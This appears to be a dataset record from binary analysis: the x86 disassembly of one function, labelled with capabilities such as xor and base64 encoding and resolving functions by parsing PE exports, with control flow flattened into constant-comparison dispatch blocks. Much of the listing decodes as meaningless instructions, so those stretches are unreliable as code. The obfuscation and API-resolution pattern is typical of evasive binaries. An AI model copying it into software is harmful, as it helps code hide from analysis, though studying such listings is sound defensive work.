Function at 0x6e3a2b5e
Capabilities:
Authenticate hmac
Encode data using base64
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x1d4
mov dword [ebp - 0x18], 0xb3792
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0xd2204
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x20]
mov edx, eax
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x18]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x18]
mul dword [ebp - 0x20]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
xor eax, 0x4ff84248
mov edx, dword [ebp - 0x24]
xor dl, 0x93
or eax, edx
je 0x6e3b0042
mov edx, 0x4ff84248
mov eax, 0x93
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6e3b0045
mov eax, dword [ebp - 0x28]
xor eax, 0xecade
or eax, dword [ebp - 0x24]
je 0x6e3a8aed
mov edx, 0xecade
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6e3b0045
mov eax, dword [ebp - 0x28]
xor eax, 0xdc6e5
or eax, dword [ebp - 0x24]
je 0x6e3ae8cd
mov edx, 0xdc6e5
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6e3b0045
mov eax, dword [ebp - 0x28]
xor eax, 0xd099b
or eax, dword [ebp - 0x24]
je 0x6e3a5bfd
mov edx, 0xd099b
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6e3b0045
mov eax, dword [ebp - 0x28]
xor eax, 0xc7d4e
or eax, dword [ebp - 0x24]
je 0x6e3aa265
mov edx, 0xc7d4e
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6e3b0045
mov eax, dword [ebp - 0x28]
xor eax, 0xaccf6
or eax, dword [ebp - 0x24]
je 0x6e3ab9dd
mov edx, 0xaccf6
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6e3b0045
mov eax, dword [ebp - 0x28]
xor eax, 0xaa27b
or eax, dword [ebp - 0x24]
je 0x6e3a7375
mov edx, 0xaa27b
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6e3b0045
mov eax, dword [ebp - 0x28]
xor eax, 0x8c105
or eax, dword [ebp - 0x24]
je 0x6e3a2d0d
mov edx, 0x8c105
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6e3b0045
mov eax, dword [ebp - 0x28]
xor eax, 0x195bf
or eax, dword [ebp - 0x24]
je 0x6e3ad155
mov eax, dword [ebp - 0x28]
xor eax, 0x51aef
or eax, dword [ebp - 0x24]
je 0x6e3a4485
jmp 0x6e3b0045
test al, 0x33
mov ecx, 0x8664ffa
mov ah, byte [edx]
jns 0x6e3a2d34
dec edi
or byte [edx + 0x201c7922], cl
mov ebp, 0x6319e365
and byte [ebp + 0x6319e365], bh
dec ebp
xor esp, dword [esi - 6]
fsub qword [ebp - 0x52]
fcom dword [ecx + 0x7f748372]
and dh, byte [esi + 0x6e]
xchg ebx, eax
inc edi
cmpsb byte [esi], byte es:[edi]
xchg ecx, eax
stosd dword es:[edi], eax
les esp, [ebp - 0x7f20ae20]
push ss
js 0x6e3a2d9f
movsd dword es:[edi], dword [esi]
loopne 0x6e3a2d88
fild word [eax - 0x479c87ea]
dec edx
call 0x98b836db
mov eax, 0x998e84a
jle 0x6e3a2d6d
dec esp
push 0xde2f7c15
and esi, dword [ebx + 0x1d]
or bh, 0x16
clc
out dx, eax
lahf
xchg edx, eax
mov dl, 0x13
add eax, 0x19427ad3
inc esi
mov word [esi + ebp*2 + 0xf0e4c40], ds
salc
je 0x6e3a2d11
pushal
pushfd
xchg ebp, eax
and byte [ecx - 0x2c8f56d7], dh
xchg esp, eax
jns 0x6e3a2d0f
rcl dword [ecx + edi*2 - 0xff98862], cl
or byte [edi - 0x5206a3a5], bh
ja 0x6e3a2d79
lock or byte [edi - 0x5206a3a5], bh
lodsd eax, dword [esi]
sar byte [edi + ecx + 0x438eaffc], 0x3a
pop ss
retf
arpl ax, ax
fsubr st(2), st(0)
invalid
popfd
outsd dx, dword [esi]
sbb al, byte [eax + esi]
cmp dword [edx], edx
movsb byte es:[edi], byte [esi]
pop esp
ret
test dword [eax + eax*8 + 0x31], ebp
inc esi
inc esi
fadd qword [ecx - 0x1e6f7cd3]
lodsb al, byte [esi]
sbb eax, 0xe64a2333
adc al, 0x3d
les edi, [ebx]
retf 0xa98c
jge 0x6e3a5c22
pop eax
int 0x61
cdq
aas
and eax, 0xa0c8cfc9
dec edi
or eax, 0xce5a1c64
push ds
lahf
popal
in al, dx
mov ah, 0x55
sub edi, dword [edx + 0x1734688]
cdq
leave
and eax, 0xc7542287
sbb al, 0x1b
fmul qword [ebp + ebp + 0xf]
fstp st(1)
mov bh, byte [ebx + ebp*2 + 0x25]
jbe 0x6e3a5c31
sbb bl, byte [esi + 0x4c]
xchg esi, eax
les ebp, [edx + 0x6c]
out 0xac, al
sub dword [edi + 0x3e], 0xda3d4696
nop
int3
in eax, dx
add byte [0xf9c80ef8], ch
jo 0x6e3a5bb2
in al, 0xbb
mov eax, dword [0x148459f3]
dec ebp
pop ebp
pop ecx
or dword [edi + 0x1ea9611e], eax
ljmp 0x78af
clc
pop eax
shr esi, 1
push ebx
jle 0x6e3a5ca6
lahf
sbb al, 0x18
sbb byte [edi + 0x60bc3253], dl
pushal
xchg edx, eax
mov eax, 0x4eb8ba9a
xchg dl, bh
cwde
mov dl, 0xe1
adc al, 0xb2
mov ah, 0x26
sub dh, byte [ecx - 4]
mov dword [0x4eba671], eax
and eax, 0x9c554577
jae 0x6e3a5cba
rcl dword [edx - 0x4e], 0x6a
jp 0x6e3a5c0d
invalid
push edi
dec ebx
in al, dx
iretd
shr dword [edx], 0xdf
mov al, byte [0x42987ff5]
fsubr st(7)
pop edx
or esp, edi
xor eax, 0xa4bb8655
stc
mov bl, 0x93
xchg ebx, eax
pop ss
xor dh, ah
into
dec edi
adc edx, dword [ecx + 0xad3be43]
ja 0x6e3a5c9d
mov cl, 0x90
int3
out 0xe, eax
adc al, 0x70
or byte [edx + 0xf88cd5f], cl
dec ebx
mov dl, 0xae
or esi, dword [edi + 0x3b]
and al, 0x74
invalid
mov word [eax], es
add byte [edi - 0x29], dl
push edi
xlatb
std
dec edi
jge 0x6e3a72fe
pop ss
xlatb
jb 0x6e3a7372
aas
jns 0x6e3a738a
movsd dword es:[edi], dword [esi]
adc word [edi - 0x2740fcc8], 0xaf0
push edi
jp 0x6e3a73f6
lock or dl, byte [edi + 0x7a]
invalid
invalid
pop esp
lodsd eax, dword [esi]
mul edi
inc edx
retf
mov ecx, 0xa21bd10
adc edx, edx
sbb bl, byte [eax + ebx]
not byte [eax + 0x5f095456]
mov edi, 0x57c08c3
cmp cl, ah
add dword [edx - 0x66], esp
loopne 0x6e3a7422
out dx, eax
nop
wait
pushal
stc
insb byte es:[edi], dx
out 0x5f, al
imul ebx, dword [ecx + 0x1d863461], 0x4c02a5ce
jmp 0x6e3a73cb
add cl, byte [ebx + ebp*8 - 0x5b]
adc byte [ecx], dl
in eax, dx
pop esp
push ss
jmp 0x91b3cc84
inc edi
cmp al, 0x98
mov ch, 0xab
invalid
aam 0x94
les edi, [eax]
and byte [edx], ah
cdq
add al, 0x13
cmp byte [ecx - 0x7f19369d], 0x30
das
jnp 0x6e3a8a86
cmp ecx, dword [ebx]
jmp 0x6e3a8b5e
or ebp, ebx
pop edx
xor al, 0x3f
mov byte [eax - 0x2f], ch
test dword [ebx + 0x4a011886], ebx
mov bl, byte [ebx - 0x63]
outsb dx, byte [esi]
sub dl, byte [ebp + 0x3801234c]
inc si
jp 0x6e3a8b35
push ebp
sbb ebp, dword [esi + esi*2 - 0x22616662]
or eax, 0x7d8a4623
mov dl, byte [ebx + 0x7e1c7c35]
dec esp
rcl byte [ebp + esi - 0x2ffe9b8e], 0xd3
add al, 0x96
add eax, edx
rol dword [esi + edx*4], cl
dec esi
test eax, 0x6f06d0b8
leave
fcmove st(0), st(3)
fbld tbyte [ebp + eax*4 + 0x6c]
cmp bh, byte [eax - 0x42]
out dx, eax
jb 0x6e3a8b86
clc
adc dword es:[ecx + eax*2 + 0xc], esi
cmc
adc al, 0x35
mov byte [0x452c79f1], al
inc ebp
ret 0xe51e
in eax, 0x5c
jecxz 0x6e3a8baa
jp 0x6e3a8b01
mov ecx, 0xc97f5fcf
je 0x6e3a8b5b
mul dword [ecx - 0x2fb35566]
xchg edi, eax
push es
cmp ecx, dword [ebp - 0x58e78d8e]
jo 0x6e3a8bb6
sbb esi, dword [eax - 0x57b493b9]
and ah, ah
aaa
add al, 0xcb
sub byte [0xcb074b52], ah
adc esp, edi
lea esp, [edi + esi*8 - 0x3b]
test al, 0xc3
in al, dx
pop ecx
out 0x2b, al
sbb eax, esi
scasb al, byte es:[edi]
xor dword ss:[ecx], ebx
fiadd word [0xcc3f4483]
mov ah, 0xdb
jbe 0x6e3a8b82
retf
inc ebx
lds ebx, [edi + 0x380eeed]
invalid
push eax
adc ah, bh
push ecx
nop
int3
mov eax, 0x50a1c097
jbe 0x6e3aa296
add al, 0x5a
sbb eax, 0x17025e53
loop 0x6e3aa290
add eax, dword [eax]
out 0x28, al
fisub word [0x8cb9ecc8]
and edx, dword [esi - 0x6838c2f6]
and eax, dword [eax - 0x16bab2f5]
fcom qword fs:[esi - 0x61c7d085]
invalid
cmp byte [esi - 0x4ddb5a3a], bl
leave
in eax, 0xe5
cmp al, 0xf9
stosd dword es:[edi], eax
push esi
and eax, 0xcd3b3885
adc dword [ebx - 0x10], ebx
jmp 0x6e3aa2ea
sbb byte [edi - 0x17], ah
out dx, eax
sbb esp, dword [ebp + 0x7d]
pop ebx
cmc
pop ss
mov edx, 0x7eaddf2c
invalid
invalid
int3
nop
add al, 0x71
xchg byte [edi + 0x12e63c81], bl
xor eax, 0x95785c1f
xchg edx, eax
add al, 0x1c
mov dword [0xb6b652e2], edx
scasb al, byte es:[edi]
mov dh, 0xa5
fld qword [ebx - 0x7befb429]
lodsd eax, dword [esi]
mov ah, 0x51
mov dword [ecx], 0xe10d0bfc
outsb dx, byte [esi]
xor al, 0x29
sbb ebx, 0xfffffff6
sub esp, dword [ecx]
salc
dec esi
sahf
sub ch, byte [edx + 0x3d191d20]
cmp al, byte [ecx]
ja 0x6e3ad192
sub edi, esp
jmp 0x6e3ad14f
inc ecx
cmpsd dword [esi], dword es:[edi]
retf 0x32cf
nop
jmp 0x6e3b0046
nop
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x30], 0x2093d
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x38], 0x645d3
mov dword [ebp - 0x34], 0
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x34]
sub eax, dword [ebp - 0x30]
sbb edx, dword [ebp - 0x2c]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x40]
xor eax, 0xf2545
or eax, dword [ebp - 0x3c]
je 0x6e3b7780
mov edx, 0xf2545
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e3c044d
mov eax, dword [ebp - 0x40]
xor eax, 0xdc57e
or eax, dword [ebp - 0x3c]
je 0x6e3b4890
mov edx, 0xdc57e
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e3c044d
mov eax, dword [ebp - 0x40]
xor eax, 0xcc9e9
or eax, dword [ebp - 0x3c]
je 0x6e3b0228
mov edx, 0xcc9e9
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e3c044d
mov eax, dword [ebp - 0x40]
xor eax, 0x9f5d2
or eax, dword [ebp - 0x3c]
je 0x6e3b3118
mov edx, 0x9f5d2
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e3c044d
mov eax, dword [ebp - 0x40]
xor eax, 0x8963e
or eax, dword [ebp - 0x3c]
je 0x6e3bbde8
mov edx, 0x8963e
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e3c044d
mov eax, dword [ebp - 0x40]
xor eax, 0x86407
or eax, dword [ebp - 0x3c]
je 0x6e3b6008
mov edx, 0x86407
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e3c044d
mov eax, dword [ebp - 0x40]
xor eax, 0x6ee29
or eax, dword [ebp - 0x3c]
je 0x6e3b19a0
mov edx, 0x6ee29
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e3c044d
mov eax, dword [ebp - 0x40]
xor eax, 0x54674
or eax, dword [ebp - 0x3c]
je 0x6e3b8ef8
mov edx, 0x54674
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e3c044d
mov eax, dword [ebp - 0x40]
xor eax, 0x43c96
or eax, dword [ebp - 0x3c]
je 0x6e3c0450
mov edx, 0x43c96
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e3c044d
mov eax, dword [ebp - 0x40]
xor eax, 0x28dcb
or eax, dword [ebp - 0x3c]
je 0x6e3becd8
mov edx, 0x28dcb
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x6e3c044d
mov eax, dword [ebp - 0x40]
xor eax, 0xd226
or eax, dword [ebp - 0x3c]
je 0x6e3bd560
mov eax, dword [ebp - 0x40]
xor eax, 0x282ed
or eax, dword [ebp - 0x3c]
je 0x6e3ba670
jmp 0x6e3c044d
mul dl
ret 0x4a56
xor esp, esi
leave
push esp
dec edi
int3
neg dword [ebp + 0xf]
pop eax
mov bh, 1
invalid
mov al, 0x43
int 0x2f
dec eax
js 0x6e3b3084
loope 0x6e3b315b
popal
sub dword [edi + 0x46e4c249], ecx
not esi
and eax, 0x121a760f
xor al, dh
mov dword [0x35d1b7ce], eax
xchg ebx, eax
pop edx
int3
add byte [eax], al
ja 0x6e3b30df
mov bh, byte [ebx + 0x5e4e2c04]
or al, 0xc
dec edi
in eax, dx
in al, dx
aas
sti
push eax
pushal
scasb al, byte es:[edi]
jo 0x6e3b3116
stc
xchg dword [edx + edi*2 + 0x75ea5b72], edi
fistp qword [edx + 0x6887cc4]
adc ch, dl
imul dword [ecx - 0x374d35f0]
pop ebx
fnstenv fs:[ebx - 0x3c79234b]
dec eax
fcomp dword [ebx]
fdiv st(3)
movsd dword es:[edi], dword [esi]
sub dword [edi + esi*8 - 0x1e], ecx
push eax
mov edi, 0xcb76fd67
xchg ecx, eax
mov al, 0x72
lodsd eax, dword [esi]
idiv byte [eax]
sub al, 0xef
lodsb al, byte [esi]
pop edx
sub byte [ebx], dh
mov al, 0xbf
dec esp
dec esp
push ebx
push ebp
jmp 0x655ed948
adc al, 0x1d
jl 0x6e3b47b8
dec ebp
jg 0x6e3b4807
sar byte [edx], 1
lea ebx, [esi]
or byte [ecx], dh
sbb eax, 0x62c42cf9
cmp eax, 0x6666e8ae
pop ds
add dword [eax + eax - 0x35d1440a], edx
inc ecx
cvttps2pi mm1, qword [edi - 0x2f062a2c]
jo 0x6e3b481a
movsd dword es:[edi], dword [esi]
int1
test dword [ebp - 0x50bacc05], edi
imul ebx, dword [ecx], 0xffffff90
int3
aaa
mov dword [0x43680646], eax
jmp 0x6e3b4786
add al, 0x1b
jl 0x6e3b479f
cmp edx, dword [esi + 0x102ef731]
test dword [edx + 0x26], ebx
or dword [edx + 0x7730ec20], edx
out dx, al
js 0x6e3b4828
mov byte [0x2981484b], al
mov edi, 0xb6010d31
xchg ecx, eax
ror byte [ecx + 0x5cacf9a0], cl
adc al, 0x81
ror dh, 1
add edx, ebx
adc byte [ebp + 0x71], dh
jecxz 0x6e3b486c
inc eax
pop edx
cli
jns 0x6e3b4858
push eax
test byte [edi], dl
adc al, 0x40
xchg esp, eax
call 0x2d8a6366
loope 0x6e3b4863
in al, 0xa1
lahf
mov byte [ebx], ch
std
xchg byte [ebp + 0x3e], bh
int 0x4f
cmp byte [ebx + 0x42f5b957], dh
neg dword [eax]
clc
cmp byte [esi + 0x63e8db8e], cl
std
inc ecx
int3
jae 0x6e3b47be
jne 0x6e3b48a0
test dword [eax + 0x766f5ab3], 0x877af817
clc
jp 0x6e3b47d1
pop ds
cmp al, 2
add byte [esi - 0x4f], al
jo 0x6e3b4867
sub dword [ebx + 0x2c], ebp
and al, 0x56
cwde
add byte [edx], bl
sub esp, ebx
xor esp, dword [ecx + 0x53e31569]
or dword [edi + 0x20f353e4], eax
je 0x6e3b4807
xchg esp, esp
push ebx
and byte [ebp + ebx*4 + 0xb], dh
and byte [ebp + ebx*4 + 0xb], dh
or edi, dword [eax + 0x7f]
js 0x6e3b48ec
jg 0x6e3b483b
int 0x4f
dec edi
mov byte [0x10ce1477], ah
inc ecx
cdq
cmp dword [edi], 0xffffffd3
insb byte es:[edi], dx
stosd dword es:[edi], eax
jge 0x6e3b4887
loopne 0x6e3b48fe
aas
cli
lodsd eax, dword [esi]
jne 0x6e3b48af
cmp byte [eax + ebx*8], dh
dec esp
nop
int3
fmul dword [eax + edx*4 - 0x34]
jmp 0x6e3c0451
adc ecx, dword [ebp - 0x21815bfd]
push ecx
nop
xchg esi, eax
cmp esi, dword [edx]
mov dword [0xc32fa6ce], eax
push es
and eax, 0x42f2ad16
in al, 0x19
mov esp, 0x64a5a161
popal
test dword [eax + 0x3b], ecx
loope 0x6e3b4847
dec eax
cmp esp, ecx
xchg esp, eax
inc edi
scasb al, byte es:[edi]
int 0xa5
adc ecx, ecx
int 0x58
invalid
sbb bh, byte [ecx + 0x72]
dec ecx
push edi
shr dword [esi + 0x6d], 1
adc eax, 0xcd967aa2
nop
mov dh, 0xe6
inc esi
fistp dword [eax + 0x21]
sub eax, 0x69cc1942
mov esp, 0x320f8952
or al, 0x7c
pop es
sahf
jne 0x6e3b4910
push ebx
sub edi, dword [edx]
arpl word [ebx], dx
pushfd
sbb edi, ecx
mov cl, 0x26
push 0xffffffffffffffc1
je 0x6e3b4928
bound edx, qword [eax + 0x4b51cac8]
popfd
xchg dword [esi + 0x32], esp
stc
shl byte [edi + eax*2 - 0x2a281d10], 1
cmp bh, byte [ecx + 0xc]
fild dword [ecx]
sbb ebp, dword [edi + ebp*4]
cmp dword [edi + 0x8961bbe], edx
invalid
xchg edi, eax
mov esi, 0x8d08961b
call 0x9eb2b73c
leave
retf
aam 0x68
jne 0x6e3b48c2
push 0xffffffffffffffcf
inc edi
iretd
mov al, 0xf9
out dx, eax
mov dword es:[0xf7623fab], eax
ret 0x65ad
lds edi, ss:[ebp - 0x1ffa12b8]
pop ecx
invalid
invalid
xor cl, dl
inc ebx
test dword [0xc2bbfc57], ebp
pop ss
mov bl, 0x18
ret 0x403c
fsub st(1)
mov al, byte [esi + eax*8]
cli
and al, 0xc4
fld qword [eax]
adc byte [ebx - 0x7b02ee5d], 0xf8
pop eax
ja 0x6e3ba622
movsd dword es:[edi], dword [esi]
invalid
mov dh, 0x5c
int3
sub ecx, dword [ecx]
jae 0x6e3ba634
push ebp
mov eax, 0xfd776fd
not dword [ecx - 0x45]
add dword [edx], esi
aaa
stc
shr byte [esi - 0x5d], 0x41
mov ecx, 0xecee6bd0
fstp dword [edi - 0xf610a86]
xchg edi, eax
mov esi, 0x7a902579
mov al, 0xd6
jne 0x6e3ba670
sub byte [ebx], dh
jae 0x6e3ba65a
test eax, 0xf76c75b2
test byte [ebx], bl
push es
invalid
or dword [ebx - 0x49ee5fae], esi
mov eax, dword [0xed45ec31]
add dword [esi + 0x6df07a21], esi
mov edx, dword [ebx + eax]
daa
mov ah, 0xec
fbld tbyte [eax + 0x55]
neg esp
xor byte [esi - 0x6fe1d493], dh
fisttp dword [ebp - 0x36]
xchg edi, eax
in eax, dx
xor esi, dword [edi + 0x7fad72e6]
cmpsd dword [esi], dword es:[edi]
jmp 0x6e3bbe00
add al, 0xb8
invalid
mov ebp, 0x6b66ed12
adc byte [ebx - 0x32], 0xb6
arpl word [ebp + 0x5b], cx
cmpsd dword [esi], dword es:[edi]
dec eax
aam 0x2c
mov ebp, 0x5b328954
dec esi
in al, 0x9b
fmul dword [esi + 0x7fba28e2]
push ebp
xchg ebx, eax
sbb byte [ecx - 0x71ca599c], ch
retf
sbb al, 0xf1
insb byte es:[edi], dx
imul ebx, dword [edi], 0x17
and eax, 0x4f9dc6aa
xchg ebx, eax
or eax, 0xcf6c19ca
outsd dx, dword [esi]
inc eax
xchg ch, bl
xlatb
mov bl, 5
mov byte [0x38db3cd2], al
mov dh, 0xd7
mov ds, word [edx + 0x1a0e8c72]
cmp ecx, dword [ebx + 0x74]
mov al, byte [0x8f00b0c2]
adc dword [eax + ebp*8], eax
invalid
jb 0x6e3bec12
push cs
sbb bh, byte [ebx]
dec esp
arpl word [eax - 0x3e], si
mov al, 0
invalid
xchg edi, eax
xor al, 0xa8
fadd st(3), st(0)
mov bh, 0xd0
inc ebx
sub eax, 0x193df56e
imul ebx, dword [ebp - 0x4b3b90ce], 0xd606d6ba
salc
dec edx
sub al, 0x19
sbb byte [edx], dl
jle 0x6e3becbe
popal
cmp byte [ebx - 0x4e96d0c7], ch
scasb al, byte es:[edi]
mov cl, 0x9b
xor al, 0xed
stosd dword es:[edi], eax
je 0x6e3bec84
stosd dword es:[edi], eax
cmp dword [edi], ebp
das
imul esi, dword [ecx + 0x349bb1ae], 0xbb74abed
sub byte [ecx], al
shr dword [edx - 0x39], 1
push ebp
jnp 0x6e3bec62
int3
jmp 0x6e3c0451
sub al, 0x2f
push ebx
pop ebx
cmp eax, 0xc95091da
dec edx
fistp word [edx + 0x6d]
pop edx
insd dword es:[edi], dx
outsb dx, byte [esi]
dec ecx
jp 0x6e3becb8
insb byte es:[edi], dx
pop esp
jns 0x6e3bece3
inc esi
dec ebp
out 0x9a, eax
or dword [ebx - 0x36], esp
jl 0x6e3bed57
rol ebx, cl
jle 0x6e3bec9b
cmp edi, dword [ebp - 0x27]
xchg esi, eax
shr dl, cl
push 0xce5c6cb6
xor esi, ebx
xchg edx, eax
mov edi, 0xcc91354c
adc al, 0x4d
aaa
jg 0x6e3becb2
xchg ebx, eax
and edx, dword [ecx]
inc esp
add bl, bh
xchg edx, eax
scasb al, byte es:[edi]
pop ebx
sbb ch, byte [ebp - 0x18]
jp 0x6e3becbc
sub dl, dh
out 0xf, al
inc eax
sub dword [eax - 7], eax
jmp 0x6e3becd3
and eax, 0xe
pop edx
jmp 0x6e3becf4
nop
jmp 0x6e3c0451
nop
mov eax, dword [0x6e93d028]
mov edx, dword [eax + 0x84]
mov eax, dword [eax + 0x80]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], edx
mov dword [ebp - 0x48], 0x398b5
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x50], 0xa096d
mov dword [ebp - 0x4c], 0
mov ecx, dword [ebp - 0x48]
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x58]
xor eax, 0xee040
or eax, dword [ebp - 0x54]
je 0x6e3c6428
mov edx, 0xee040
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e3d086d
mov eax, dword [ebp - 0x58]
xor eax, 0xedeb3
or eax, dword [ebp - 0x54]
je 0x6e3cd980
mov edx, 0xedeb3
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e3d086d
mov eax, dword [ebp - 0x58]
xor eax, 0xda222
or eax, dword [ebp - 0x54]
je 0x6e3d0870
mov edx, 0xda222
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e3d086d
mov eax, dword [ebp - 0x58]
xor eax, 0xa492f
or eax, dword [ebp - 0x54]
je 0x6e3c9318
mov edx, 0xa492f
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e3d086d
mov eax, dword [ebp - 0x58]
xor eax, 0x8fa65
or eax, dword [ebp - 0x54]
je 0x6e3c3538
mov edx, 0x8fa65
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e3d086d
mov eax, dword [ebp - 0x58]
xor eax, 0x76041
or eax, dword [ebp - 0x54]
je 0x6e3c1dc0
mov edx, 0x76041
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e3d086d
mov eax, dword [ebp - 0x58]
xor eax, 0x75025
or eax, dword [ebp - 0x54]
je 0x6e3caa90
mov edx, 0x75025
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e3d086d
mov eax, dword [ebp - 0x58]
xor eax, 0x6cde8
or eax, dword [ebp - 0x54]
je 0x6e3cf0f8
mov edx, 0x6cde8
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e3d086d
mov eax, dword [ebp - 0x58]
xor eax, 0x47214
or eax, dword [ebp - 0x54]
je 0x6e3c7ba0
mov edx, 0x47214
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e3d086d
mov eax, dword [ebp - 0x58]
xor eax, 0x3b6b5
or eax, dword [ebp - 0x54]
je 0x6e3c4cb0
mov edx, 0x3b6b5
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e3d086d
mov eax, dword [ebp - 0x58]
xor eax, 0x89e4
or eax, dword [ebp - 0x54]
je 0x6e3cc208
mov eax, dword [ebp - 0x58]
xor eax, 0x218f9
or eax, dword [ebp - 0x54]
jne 0x6e3d086d
pop ecx
xlatb
mov edi, esi
dec edi
jle 0x6e3c0691
add eax, 0xcbb32c11
dec eax
pushal
add al, 0x4d
xchg esp, eax
pushfd
clc
sbb al, 0x89
arpl word [edx], bx
movsd dword es:[edi], dword [esi]
adc al, 0xc5
int3
dec ebp
adc edx, eax
inc esi
in eax, dx
xor byte [esi + 0x2b], 0x55
lahf
sub dword [edx - 0x77], ecx
cmp eax, dword [edx + eax*4 - 0x6ab523f3]
mov ebp, 0x9fe95236
sbb al, 0x6a
out dx, eax
leave
sub al, 0x7c
out dx, eax
jne 0x6e3c06da
retf
inc esi
shl dl, 1
pop esp
push esi
dec ecx
pop edx
cmpsb byte [esi], byte es:[edi]
invalid
inc esi
or ah, byte [esp + ebp*4 - 0x2dee65a8]
sub bl, dl
jbe 0x6e3c06c4
adc byte [edi + 0x539f0a5d], cl
loop 0x6e3c0706
xor byte [edx + 0x478ab369], cl
and al, 0x2a
in al, 0x93
popal
arpl word ss:[eax - 0x28], bp
lahf
daa
jge 0x6e3c077f
push 0xffffffffffffffbc
add edi, dword [ecx + eax - 0x6b]
xchg ebp, eax
dec esp
push 0x22f051e6
lodsb al, byte [esi]
and dh, byte [edi + 0xf]
cmp al, byte [ecx - 0x336f6674]
das
mov esi, 0xbbf8f321
call 0x6cf8b617
inc eax
pushfd
inc ebp
sti
sub ebp, edi
lea esi, [esi - 0x31]
rcl byte [edx + edx*8 + 0x1f], 0x6f
adc dh, byte [ecx]
ret 0x86f6
sub ebp, ebp
outsb dx, byte [esi]
outsd dx, dword [esi]
inc edx
out dx, al
mov ecx, 0xef49685f
mov byte [0x3066eb98], al
push ds
xchg dword [esi - 0x31], ebx
pop edi
mov esi, 0x8d1a0cfb
fcom dword [ebp + 0x44a18a6f]
mov dword [ecx - 0x301e1924], esp
adc ah, byte [ecx - 0x3b]
popfd
pop edi
or dh, byte [eax]
stosd dword es:[edi], eax
add al, byte [ecx + 0x31935da1]
mov ah, 0x8f
push ds
sbb byte [ebx + esi*4], ah
cmp dword [esp], ebx
retf
cmpsd dword [esi], dword es:[edi]
movsb byte es:[edi], byte [esi]
inc esp
out dx, al
xchg ecx, eax
mov al, 0x85
dec ebx
lea ebx, [edx + esi*2]
scasd eax, dword es:[edi]
push esi
xchg ebp, eax
push 0xe3a0a669
jecxz 0x6e3c1dd9
mov dword [edx + 0x23], ebx
add al, 0xdd
sub eax, dword [esi + 0x3eba5b59]
cdq
mov esp, 0xefd6ca82
fmul st(5)
cmp al, 0x32
ljmp 0x9acf
sub dh, byte [esp + ebx*4]
jnp 0x6e3c1d4b
lcall 0x8292, 0xcaa506b3
sub dword [0x50090ba0], ecx
fimul word [esi]
fild qword [ebp + 0x7c0f6442]
or dl, byte [edi + edi*4 + 0x59]
xchg edx, eax
invalid
loope 0x6e3c1e13
fidiv word [esi]
adc edi, esp
cmpsb byte [esi], byte es:[edi]
push ebx
in eax, 0x6f
mov esp, dword [edi + edi - 0x1d]
lahf
jb 0xb446cd64
in al, dx
mov dl, 0x47
dec ebx
clc
in al, dx
rcr ch, 1
inc edx
sub byte [ecx - 0x7d99fb34], cl
